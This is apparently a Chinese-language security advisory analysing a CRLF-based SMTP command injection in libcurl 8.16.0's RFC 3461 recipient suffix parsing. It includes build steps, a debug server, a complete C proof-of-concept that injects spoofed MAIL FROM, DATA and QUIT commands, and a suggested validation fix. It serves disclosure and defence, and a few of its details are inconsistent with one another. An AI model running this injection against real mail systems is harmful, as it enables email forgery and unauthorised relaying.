SMTP命令注入漏洞在libcurl 8.16.0中的技术分析
执行摘要
libcurl 8.16.0版本在实现RFC 3461投递状态通知(DSN)参数支持时存在严重SMTP命令注入漏洞。该漏洞允许攻击者通过在收件人邮箱地址的后缀部分包含CRLF(\r\n)字符来注入任意SMTP命令。
影响:完整的SMTP命令注入,允许:
- 使用任意发件人地址进行邮件伪造
- 未授权邮件中继
- 绕过认证和授权控制
- 潜在的协议级攻击
受影响版本:libcurl 8.16.0(2024年9月10日发布)
组件:lib/smtp.c - RFC 3461后缀处理
CWE:CWE-93(HTTP头中CRLF序列的不当中和)/ CWE-77(命令注入)
漏洞详情
背景
RFC 3461定义了SMTP的投递状态通知扩展。这些扩展允许在RCPT TO命令中的收件人邮箱地址后附加参数,例如:
1
|
RCPT TO:<user@example.com> NOTIFY=SUCCESS,FAILURE
|
libcurl 8.16.0添加了对此功能的支持。
漏洞分析
lib/smtp.c中的实现从邮箱地址提取后缀,但未能验证或清理其中的CRLF字符。漏洞代码路径包括:
地址解析(smtp_parse_address,第1876行):
1
2
3
4
5
6
7
|
else {
addressend = strrchr(dup, '>');
if(addressend) {
*addressend = '\0';
*suffix = addressend + 1; // 指向原始字符串!
}
}
|
后缀指针直接指向原始输入字符串中的>字符之后,没有进行任何验证。
命令构建(smtp_perform_rcpt_to,第885行):
1
2
3
|
if(host.name)
result = Curl_pp_sendf(data, &smtpc->pp, "RCPT TO:<%s@%s>%s",
address, host.name, suffix);
|
后缀被直接插入到SMTP命令中,没有任何CRLF过滤。
命令传输(pingpong.c中的Curl_pp_vsendf):
1
2
3
|
result = curlx_dyn_vaddf(&pp->sendbuf, fmt, args);
// ...
result = curlx_dyn_addn(&pp->sendbuf, "\r\n", 2);
|
格式化字符串(包含带有嵌入CRLF的未清理后缀)被发送,后跟额外的CRLF。后缀中的任何CRLF字符都将在SMTP协议流中创建新的命令行。
攻击向量
攻击者可以构建包含恶意SMTP命令的后缀的收件人地址:
1
|
" NOTIFY=SUCCESS\r\nRSET\r\nMAIL FROM:\r\nRCPT TO:"
|
当libcurl处理此收件人时,将发送:
1
2
3
4
5
|
RCPT TO:<user@example.com> NOTIFY=SUCCESS
RSET
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@example.com>
[来自Curl_pp_vsendf的原始CRLF]
|
这有效地注入了四个SMTP命令,而原本只应有一个RCPT TO命令。
概念验证
环境设置
构建libcurl 8.16.0:
1
2
3
4
5
|
wget https://curl.se/download/curl-8.16.0.tar.gz
tar -xzf curl-8.16.0.tar.gz
cd curl-8.16.0
./configure --disable-shared --with-openssl --without-libpsl
make -j4
|
设置SMTP调试服务器(Python 3):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
#!/usr/bin/env python3
import asyncore
from smtpd import SMTPServer
class DebugSMTPServer(SMTPServer):
def process_message(self, peer, mailfrom, rcpttos, data, **kwargs):
print(f'From: {mailfrom}')
print(f'To: {rcpttos}')
print(f'Data: {data.decode("utf-8", errors="replace")}')
return
server = DebugSMTPServer(('127.0.0.1', 1025), None)
print("SMTP Debug Server on port 1025")
asyncore.loop()
|
漏洞利用代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
#include <curl/curl.h>
#include <string.h>
#include <stdio.h>
static size_t read_callback(char *ptr, size_t size, size_t nmemb, void *userp) {
const char *text = "Subject: Legitimate Email\r\n\r\nLegitimate body.\r\n";
static int sent = 0;
if(sent) return 0;
size_t len = strlen(text);
if(len > size * nmemb) len = size * nmemb;
memcpy(ptr, text, len);
sent = 1;
return len;
}
int main(void) {
CURL *curl = curl_easy_init();
struct curl_slist *recipients = NULL;
curl_easy_setopt(curl, CURLOPT_URL, "smtp://127.0.0.1:1025");
curl_easy_setopt(curl, CURLOPT_MAIL_FROM, "<attacker@evil.com>");
/* 漏洞利用:通过RFC 3461后缀注入SMTP命令 */
const char *exploit =
"<victim@example.com> NOTIFY=SUCCESS\r\n"
"RSET\r\n"
"MAIL FROM:<spoofed@internal.com>\r\n"
"RCPT TO:<target@example.com>\r\n"
"DATA\r\n"
"Subject: Injected Email\r\n"
"\r\n"
"This email was sent via SMTP command injection!\r\n"
".\r\n"
"QUIT\r\n";
recipients = curl_slist_append(recipients, exploit);
curl_easy_setopt(curl, CURLOPT_MAIL_RCPT, recipients);
curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback);
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
CURLcode res = curl_easy_perform(curl);
printf("Result: %s\n", curl_easy_strerror(res));
curl_slist_free_all(recipients);
curl_easy_cleanup(curl);
return 0;
}
|
影响评估
严重性:严重(CVSS 3.1:9.1)
攻击向量:网络(AV:N)
攻击复杂度:低(AC:L)
所需权限:无(PR:N)
用户交互:无(UI:N)
范围:已改变(S:C)
影响:
- 机密性:高 - 可拦截或重定向电子邮件
- 完整性:高 - 可使用任意内容伪造电子邮件
- 可用性:高 - 可滥用邮件服务器进行垃圾邮件/拒绝服务攻击
根本原因分析
该漏洞在8.16.0版本添加RFC 3461后缀支持时引入。实现中存在两个关键错误:
- 无输入验证:后缀从用户控制的输入中提取,没有对CRLF字符进行任何验证
- 直接插值:后缀直接插入到SMTP命令中,没有编码或转义
代码假设后缀仅包含有效的RFC 3461参数(如NOTIFY=SUCCESS),但未强制执行此假设。
建议修复
必须验证后缀以确保不包含CRLF字符或其他命令注入序列:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
static bool validate_suffix(const char *suffix) {
/* 后缀不能包含CR或LF */
if(strchr(suffix, '\r') || strchr(suffix, '\n'))
return false;
/* 后缀应仅包含RFC 3461的可打印ASCII */
while(*suffix) {
if(*suffix < 0x20 || *suffix > 0x7E)
return false;
suffix++;
}
return true;
}
|
此验证应在smtp_parse_address返回前添加:
1
2
3
4
|
if(*suffix && !validate_suffix(*suffix)) {
free(*address);
return CURLE_URL_MALFORMAT;
}
|
结论
此漏洞代表了libcurl 8.16.0中的一个严重安全缺陷,可被利用进行完整的SMTP命令注入。任何使用libcurl通过用户控制的收件人地址进行SMTP电子邮件传输的应用程序都可能受到攻击。该漏洞易于利用,且不需要特殊条件或认证。
libcurl 8.16.0的用户应:
- 避免对收件人地址使用用户控制的输入
- 如果使用SMTP功能,实施自己的CRLF过滤
- 等待curl项目的官方补丁
- 考虑降级到8.15.0或更早版本(缺乏RFC 3461后缀支持)